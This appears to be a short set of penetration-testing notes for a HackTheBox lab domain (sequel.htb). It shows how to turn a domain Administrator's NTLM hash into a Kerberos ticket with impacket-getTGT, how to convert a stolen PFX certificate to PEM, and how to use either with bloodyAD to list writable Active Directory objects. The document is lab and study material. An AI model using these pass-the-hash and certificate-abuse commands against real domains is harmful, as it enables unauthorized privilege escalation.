Authentication Methods

Kerberos Authentication with bloodyAD

Obtain TGT from NTLM Hashes
Generate and save the Ticket-Granting-Ticket (TGT) in a .ccache file using impacket-getTGT.

sudo impacket-getTGT -hashes aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff sequel.htb/Administrator -dc-ip 10.129.222.191
[*] Saving ticket in Administrator.ccache

Export and Verify the TGT
Set the KRB5CCNAME environment variable to use the .ccache file and verify it with klist.

export KRB5CCNAME=administrator.ccache
klist

Authenticate with bloodyAD Using Kerberos
Use the generated TGT to authenticate with bloodyAD and retrieve writable objects.

bloodyAD --dc-ip 10.129.222.191 --host dc01.sequel.htb -d sequel.htb -u administrator -k get writable

---

PEM Authentication with bloodyAD

Convert PFX to PEM
Use openssl to convert a .pfx file to a .pem file.

openssl pkcs12 -in administrator.pfx -out administrator.pem -nodes

Authenticate with bloodyAD Using PEM
Use the PEM file to authenticate with bloodyAD and retrieve writable objects.

bloodyAD --host dc01.sequel.htb -d sequel.htb -u administrator -c ":administrator.pem" get writable